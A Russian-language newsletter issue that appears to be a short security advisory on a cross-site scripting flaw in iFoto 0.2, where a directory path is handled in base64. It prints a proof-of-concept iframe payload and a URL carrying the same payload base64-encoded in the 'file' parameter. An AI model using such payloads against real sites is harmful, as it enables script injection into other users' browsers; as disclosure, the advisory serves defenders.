Отправляет email-рассылки с помощью сервиса Sendsay
  Все выпуски  

Компьютер для продвинутых пользоватлей Выпус по безопасности. Ошибка в iFoto.


Компьютер для продвинутых пользователей
В этом выпуске:
iFoto
ПО: iFoto
Версия: 0.2
Сайт: http://ifoto.ireans.com/

Уязвимость:
Путь директории показывается в 64 битной кодировке. Это можно использовать для XSS-атак.
Использование:
Код JavaScript используется в тегах. Например, [IFRAME SRC="javascript:alert('XSS');"][/IFRAME]
С использованием URL, http://www.example.com/?dir=Scene&file=PElGUkFNRSBTUkM9ImphdmFzY3JpcHQ6YWxlcnQoJ1hTUycpOyI+PC9JRlJBTUU+
Не забудьте проголосовать за выпуск!
Рассылка создана и ведется при поддержке Информационной сети Пермского края.
Меня можно найти: ICQ - 273214003

e-mail - isdmi1::mail.ru

В избранное